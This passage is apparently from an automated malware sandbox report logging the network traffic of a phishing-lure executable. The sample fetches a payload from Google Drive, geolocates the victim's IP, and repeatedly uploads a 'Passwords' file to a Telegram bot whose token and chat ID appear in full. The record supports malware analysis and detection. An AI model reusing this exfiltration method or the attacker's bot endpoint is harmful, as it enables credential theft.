Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49712	142.250.181.33	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:36 UTC	258	OUT	GET /download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-09 07:32:39 UTC	4949	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="XCsukFUMxoVWxROT123.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 03 Dec 2024 08:57:07 GMT X-GUploader-UploadID: AFiumC5dX8jlte9scTIb9v5wczLrj3D8uBGe1-mAWQKbc1vw7pr-2kqEjgt9P2WFCyNva9893MFAWIi7nA Date: Mon, 09 Dec 2024 07:32:39 GMT Expires: Mon, 09 Dec 2024 07:32:39 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=gAifiA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-09 07:32:39 UTC	4949	IN	Data Raw: 64 ae 34 0f 6a d9 13 d4 42 cd 9b ee d1 78 7d 76 fe ae 46 c2 94 6b 43 29 54 35 13 1e bb ca 9c 47 ff ee db 58 df 5e 45 bf b2 33 3f 9d c7 77 eb b4 d3 8d 26 6f 97 2d 08 ee ca de 1f eb 39 3e 4b 4f 15 f8 bf f6 d1 d6 f6 40 c9 4b f3 f6 b5 88 bc ad 85 d1 77 94 6e 28 28 3c 01 02 ca d7 2e b2 69 50 a0 81 cb 5f d4 6f 3c 2d ca f4 fa 9b 43 bd c8 67 29 09 f8 c8 c1 d5 de ea 88 08 91 78 e7 9e 29 40 ad 37 84 66 27 c9 ca ec c5 b1 22 73 3f ac 91 96 7c e2 61 31 38 61 5b c7 a2 14 ee fc fa 47 e5 51 60 0d e3 89 6d 36 7e 8d d6 2f b4 89 72 6c c8 8f 3a 0b 16 d9 b3 af fc 89 2a 0e 5f b8 61 10 c8 52 77 88 8e 68 43 e6 5d ea 91 2c 2b 9d 54 96 0c 66 60 00 95 0d 02 d5 93 95 30 95 16 b8 52 71 61 a4 f2 a7 23 82 af 4a 95 03 3f 41 b8 fd 23 56 0a 01 c4 a8 31 ed 28 2f be 94 78 a1 77 a2 9b ba 5a Data Ascii: d4jBx}vFkC)T5GX^E3?w&o-9>KO@Kwn((<.iP_o<-Cg)x)@7f'"s?\|a18a[GQ`m6~/rl:*_aRwhC],+Tf`0Rqa#J?A#V1(/xwZ
2024-12-09 07:32:39 UTC	4797	IN	Data Raw: 31 02 ef eb 0e 8d 04 df 0f 50 a4 b5 35 7b e5 01 7c 3c 67 d7 06 f0 41 68 38 a1 92 80 fb 6d 40 56 36 6e 08 92 52 ff 1a 0f a8 9e cd 0c fe ad f5 71 7f db 92 05 39 62 df 3f ef d6 0c b3 b1 bf 0e 99 f1 37 3e f1 8a 80 f5 15 7d 7e cc be 8c 96 ee 1f b6 76 3a 00 d5 f7 8a 1e 89 e6 4e aa 83 34 85 49 38 21 a7 2f 88 4b 20 90 75 00 e1 a8 0a a5 1d aa 48 f5 e8 00 b0 aa 93 03 3a 58 9f 47 c7 78 bf fc 64 d4 df 74 3f f7 a8 41 3b f1 4c f6 84 06 c7 e5 6b 9e 31 c0 42 d8 5c e7 e8 30 58 f6 bd c5 43 3f 9b 94 4e e9 e4 fa 31 aa 24 8c 21 a6 44 b7 62 9e 6e af 17 77 b6 2c cf a7 ed 6b 8f ec 5f 86 f4 0c fb aa ab 55 70 cc 7e 11 c7 92 85 ad a7 c2 52 a3 da 8f 4c 43 8f b5 06 bc c2 d9 9c c2 b5 25 b2 ef 5e e3 68 ee 22 eb 1a c6 de 2c d2 c2 f4 88 a4 e2 d9 f5 46 5d 9c c4 57 fd f4 37 08 55 d5 ac fc Data Ascii: 1P5{\|<gAh8m@V6nRq9b?7>}~v:N4I8!/K uH:XGxdt?A;Lk1B\0XC?N1$!Dbnw,k_Up~RLC%^h",F]W7U
2024-12-09 07:32:39 UTC	1325	IN	Data Raw: fe 90 bd 83 30 de f1 d8 14 5a 14 53 cc 8a 03 25 cd 0f 51 63 67 39 88 fe 45 39 01 b6 af e1 bc 98 1b fd ab 29 84 92 22 32 96 b5 d4 e8 cc f1 ff b7 d8 18 14 7f f7 11 e3 2a 27 f2 41 71 5b 33 55 60 be 52 11 23 5e 4a 63 18 ce 95 02 66 04 fa f4 e6 1b 9c 07 37 6f 48 53 37 b4 2b e5 79 ae 0b 09 de 82 ac 07 09 9d 70 52 b9 cf b1 a5 b9 73 dc e1 b1 2e 0e 94 bc 07 1f e0 17 b0 24 28 c0 94 85 9c ee 31 b4 91 88 60 39 d6 ee d6 4a 3b 51 3d ff 5c 6c ba 92 78 0e b7 68 c9 4a f7 09 a3 6f c2 d9 e5 60 73 ed 9d 98 b1 63 39 bd 50 af 4f 91 c5 a2 ba ed f7 ec 79 e1 fe fe e2 1f 3f c1 0b cd 2e 41 0d bd 12 f5 97 c4 78 5d 1e 04 07 73 2e 23 f4 65 b2 07 7c cf 4d 01 4e e5 6e 01 f4 31 b5 bc 9a 46 0b cd bf c1 84 16 02 59 d9 52 76 fd df 8d e3 8e 40 e6 3e 6d 9a e1 ad 59 46 4d 5c cc ce 1e 98 86 61 Data Ascii: 0ZS%Qcg9E9)"2*'Aq[3U`R#^Jcf7oHS7+ypRs.$(1`9J;Q=\lxhJo`sc9POy?.Ax]s.#e\|MNn1FYRv@>mYFM\a
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: d2 af 48 3c 8f 4b 95 31 7c b7 9e 9b df d3 5e af ae d9 93 cf 43 dc 74 e8 dc cd f7 f3 0e 6e a3 71 e5 18 c6 6e 42 a4 e8 f4 da 70 46 60 5e 71 8e 58 0f 6a 24 a2 99 c1 37 c8 65 6d da 4b c5 f8 a3 53 b9 0b 9d 23 dd 22 b2 02 3a bb 96 2a 58 6d 6f 6b 01 87 04 d2 60 34 a6 9d e2 7b 9b 19 6f 39 72 fa a0 61 9f 6d 2a 7d 60 96 fe 41 47 44 36 6e 08 92 52 ff 1a d1 90 b9 e5 3f d4 ac ef 62 7b d9 ba 4a 39 18 42 e2 f7 d4 0c b3 b1 a4 3e ed e9 7d 3d f5 f8 fa fe 15 1c 68 97 e6 8c 96 ee 02 52 fa 16 05 c4 f3 96 13 fa 2c 5b aa 80 1a a0 5e 40 d4 b4 3e fe 97 1b 88 07 06 84 25 7a 07 32 dc b4 eb fe 0a c0 19 99 78 a6 5c 85 c0 28 59 bf fd 45 ad 31 aa 3f fd a2 22 07 cf dd 86 eb d3 b5 95 6a 3c 64 ff 0a 06 5c e1 8d 7f b5 e0 b7 9d 6b e0 9b 9e 2b d9 c1 e2 45 74 35 8a 59 d0 a7 a0 12 90 1c 70 17 Data Ascii: H<K1\|^CtnqnBpF`^qXj$7emKS#":Xmok`4{o9ram}`AGD6nR?b{J9B>}=hR,[^@>%z2x\(YE1?"j<d\k+Et5Yp
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: 9b 24 f5 d2 d6 f1 68 20 4b f3 fc 59 7b aa be 30 e9 9e 96 6e 28 39 30 50 0f 50 c4 20 a3 67 23 4e 81 cb 55 c7 60 2d 23 db fa 88 cb 59 bd b8 08 c2 09 f8 c2 d6 03 b1 05 88 08 9b 6b 77 8f 27 32 f7 32 3e 18 0f 33 c3 21 ee 1a 32 2e e3 94 b6 0e 15 91 4b 52 58 1f 2e da 32 79 ce 95 2c 3a 98 2f 07 3a 5b fb 9b c9 52 e3 f6 47 c9 bd 20 30 8e dd b5 61 72 cc 8e b4 e0 91 1f 1a 49 a9 72 7f 3a 52 27 c7 a8 79 1b f1 cf ca f6 16 5e 2c aa 97 1f 71 71 17 86 14 f3 cc bd 92 2d 87 5e b8 79 12 60 b3 e1 b7 23 93 bc 5d 4f 10 fb d2 aa e6 1b 40 08 01 c4 19 24 fc 33 be e1 b4 49 96 66 b6 8a a3 cb 81 b1 a7 39 c2 83 c8 ad e6 43 60 c2 ff 4e e5 71 b4 9f 22 32 9a ae 5a dd a5 15 0e d1 fd 68 43 90 88 b8 96 bc 4c 0d d0 57 0b d4 c1 be e6 46 db 2e bd 10 62 74 0b 42 b5 16 88 4d dd 6b 28 1e 21 ab 96 Data Ascii: $h KY{0n(90PP g#NU`-#Ykw'22>3!2.KRX.2y,:/:[RG 0arIr:R'y^,qq-^y`#]O@$3If9C`Nq"2ZhCLWF.btBMk(!
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: ea 89 b2 2c 65 78 9a 4f 37 21 ec 9d 8c e1 29 11 5b d6 0f 6a 35 c3 d4 84 b7 bb 39 e9 95 83 cb 32 db 4e b1 69 00 14 51 ba 40 1a 5e f6 27 1f 67 4f e2 83 e8 c2 1d 4b b6 ae e9 be a6 e1 86 e1 23 92 68 21 44 d4 a6 d1 fd e1 0f f6 a3 c1 1c 16 42 a4 78 9e 67 27 80 a7 68 59 38 06 13 47 56 39 f8 59 62 93 65 82 9f 2a 99 04 fa d4 f5 1d 8d 12 68 91 48 c9 3d a7 23 ea 3a bf 12 66 a2 f9 ea 0d 21 a3 0e 01 b3 dc b2 9c e4 07 41 eb bb 29 0e 9a bc 09 5c 10 15 cb 68 3b cb 81 a6 5c e2 20 b2 bd 91 71 31 c2 5a d6 4a 35 38 01 00 5c 66 98 a9 78 0f bd 69 e6 33 f2 18 ac 4f cf db 9e 3b 7b 82 19 b0 62 69 2a ba 41 a2 62 23 60 fd ab e5 86 83 2a e1 ff d8 c7 5a 37 b4 10 c1 26 53 64 ad 14 d9 90 c6 df 1d 90 6d 18 81 ea f9 e3 b9 3f 5e 7c cd 37 5e 49 ed 71 6e a0 27 bd 38 db 09 d1 e5 d3 cc 8d 0f Data Ascii: ,exO7!)[j592NiQ@^'gOK#h!DBxg'hY8GV9YbehH=#:f!A)\h;\ q1ZJ58\fxi3O;{biAb#`*Z7&Sdm?^\|7^Iqn'8
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: af e1 da 6a e5 45 45 68 e1 9e 0f 2e 22 00 bd c6 75 ac 70 11 ab e9 ed 6b a3 53 a2 18 86 41 fa fa b2 06 21 cd 9e 79 58 1d 4d a5 0e 87 0e dc 60 20 8c 4d 3f 7b 91 18 7b 05 25 fe 8d f0 47 11 ef 7f 9e 86 fe 49 35 05 45 6f 78 fd 8a ff c6 d7 9d b3 8a ec fe ad f9 75 a1 c8 bc 41 2a 65 ed f5 f9 d4 0c bb a0 b8 7c 8f f5 37 4e 9a 2d d6 fe 13 00 60 f5 38 fe e8 f8 09 38 18 fc 05 c4 f4 a0 01 80 f7 49 d8 6c a4 85 39 5d e7 a1 3e 88 26 3b 81 70 2c 01 25 0a a3 04 cd d7 fd c4 49 b6 93 96 6d b5 52 f0 49 b8 59 b5 93 65 ba 4f 7e 17 69 a8 50 3b ca d4 e7 8d 18 4b 94 73 94 50 e2 62 26 5d f2 8c 1c 53 da a1 c5 ae 3f 9b 94 30 7e 8b a5 3b aa 3f 9b 5a 8a d6 b7 12 e6 60 aa 17 73 c4 95 e4 a7 b5 e9 c8 ec 55 84 8a 98 89 36 bd 55 7e b1 ab 11 c3 e7 7e f2 a7 c8 4b 8c 77 89 23 d0 9c b0 0c bc c1 Data Ascii: jEEh."upkSA!yXM` M?{{%GI5EoxuA*e\|7N-`88Il9]>&;p,%ImRIYeO~iP;KsPb&]S?0~;?Z`sU6U~~Kw#
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: b1 d6 f4 8a f4 96 bd c8 61 3a 0c e9 cd e9 46 de ea 8e 1b 99 69 6f b2 6a 46 8b 2b 3f 68 2d 12 c7 20 e4 03 4c 3a f3 8d cf d6 81 91 41 47 59 07 2d bc d7 87 cf 8c 91 38 81 28 ea 2c 92 e7 5c 4f 27 f5 de ec da a9 3c 32 9e c0 08 64 72 b6 8c ab d9 16 0e 0e 59 ab 64 10 c8 52 0c ed 8e 40 a5 e7 5e e0 2e 07 59 5e c8 8a 0c 16 0f d5 95 0d e4 ba ce 94 3b 9e 6e 04 52 17 66 b7 f7 af 32 86 dd a8 90 03 91 d2 91 7c 23 76 00 17 3a 0b 21 e8 5a cd fb 94 08 97 5f 23 9b b8 50 88 30 8b 68 c0 9b c8 ba 5b 11 40 b1 c1 58 1b 71 ba 88 46 c7 92 bf 36 6c 9d 13 1a 4a 21 71 31 bc 8c ae f5 00 78 00 d0 48 38 d9 1f cc a0 59 c8 41 0e 2b 6b 7a 26 25 90 0a f0 4b b3 6b 58 b6 1a 1d e4 b1 45 9c ee e2 6b 87 72 c0 69 58 90 07 9a b1 ad 51 3b 6f c3 54 cd d5 08 7f a3 a5 2a c7 8f fd 2a 75 e9 cd b6 1c 42 Data Ascii: a:FiojF+?h- L:AGY-8(,\O'<2drYdR@^.Y^;nRf2\|#v:!Z_#P0h[@XqF6lJ!q1xH8YA+kz&%KkXEkriXQ;oT**uB
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: b1 cd 88 71 48 ae 8e 51 67 45 fe 76 fd 5e 41 39 54 aa e5 c9 98 31 07 e1 29 8e 80 de 4a 82 a6 d8 fd e8 0f b2 aa 5f 27 16 7a 78 5d 88 15 c1 e6 45 03 fb 6d 0f 69 1c 73 21 80 72 5f 69 15 20 b0 1b 73 00 58 fb fc 69 da 01 07 1d ea ec 2c a5 2e 63 5c b2 68 c2 fe f9 9a a5 21 39 0e 01 b3 dc b6 f3 e2 73 dc ef aa 25 35 de ad 03 39 6d 1a cb 62 2c c0 90 bc 48 f9 e7 ad 96 99 67 2a ab 9a 36 b4 c0 d0 6e ff 82 76 b7 ee 4b 0e bd 69 dd 57 f2 30 f4 43 cf d1 40 2a 73 c7 d8 ac 62 63 39 b7 50 af 5c 93 be ea ed ec f3 92 40 e0 fe f4 da 4b 3f c1 45 c1 26 53 10 9c 10 d9 e6 c7 03 15 2d 04 03 4a fd 3c e8 47 6a 07 7c c7 44 7e 6d e5 1a 57 e9 31 b5 bc b8 12 0d e5 4d cc 8d 0f 0e 4f e7 38 7a ff a4 c7 90 59 44 ce eb 61 92 99 f7 45 46 17 33 1e d5 2e 94 a0 43 e4 38 a4 fe 80 8a 5f 8a 41 65 4e Data Ascii: qHQgEv^A9T1)J_'zx]Emis!r_i sXi,.c\h!9s%59mb,Hg6nvKiW0C@sbc9P\@K?E&S-J<Gj\|D~mW1MO8zYDaEF3.C8_AeN
2024-12-09 07:32:39 UTC	1390	IN	Data Raw: 58 b3 75 ce 26 b4 04 d6 6a 35 aa b5 17 29 9b 13 76 e2 63 ff a7 b1 5d 62 38 7f 9e 80 f2 52 47 5f 59 38 09 92 58 95 c7 d1 bb ab e5 3f fe e9 ff 62 7a c0 8a 53 39 1e d4 e2 f8 e7 0c b3 a0 bf 11 fb c1 ef 3e f5 f2 a4 67 30 0d 18 cc 71 8c 96 ee 03 48 71 01 fd c4 f2 b9 0e 8f df 08 ab f0 b8 83 3a e5 32 a1 38 82 3d 4c ca 69 04 e2 4a d8 a5 17 c3 e0 fd 87 d9 b0 bb 93 7b 6f 4b 99 5b aa 5e 87 eb 61 bb 4f 7c 2e fa da 38 21 d9 ad 99 51 0c b5 93 6d 96 50 ef 06 a6 40 e1 f7 62 8d f6 b7 eb 17 3b 93 8f 26 09 78 e6 3b da 5a 5f 53 a2 45 a4 17 f1 76 87 84 73 c4 b8 d7 af 8c 4b e4 af 59 a4 98 9e fb a0 ce 51 0f de 74 7e c6 e0 11 a7 8f 5c 41 a4 cd 9a 2a c7 86 a1 f2 ac d6 bc 1b c8 a3 d1 b3 82 75 f2 63 c6 47 54 b0 c6 d4 35 cb b9 80 d7 a4 e6 a1 78 44 75 79 d2 7f 7a e7 32 02 43 2b 86 cf Data Ascii: Xu&j5)vc]b8RG_Y8X?bzS9>g0qHq:28=LiJ{oK[^aO\|.8!QmP@b;&x;Z_SEvsKYQt~\A*ucGT5xDuyz2C+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49715	172.67.177.134	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:44 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-09 07:32:45 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:45 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 606988 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BR0BO4UWmbBiWa8BqSP7IcArmB%2BDAf6vIdhF7acO8%2FhNScKpKe2MYZnIw2yjGOaP2rg4Q3GIzWRE5RzVtqIOSem2wdzCN%2ByHJNiVJVAzuxQMoweulnqQ9ZXM3CBmXKRX%2BnWLroeR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef34d965b460f8b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1482&rtt_var=575&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1870595&cwnd=237&unsent_bytes=0&cid=8047065f70242dba&ts=449&x=0"
2024-12-09 07:32:45 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49732	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:52 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd17f9c670142f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:32:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 37 66 39 63 36 37 30 31 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd17f9c670142fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:32:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:32:53 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:32:53 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1301,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729573,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49739	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:56 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd18292170108f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:32:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 38 32 39 32 31 37 30 31 30 38 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd18292170108fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:32:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:32:56 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:32:56 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1302,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729576,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49750	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:59 UTC	270	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd18556e1b4be9 Host: api.telegram.org Content-Length: 1090
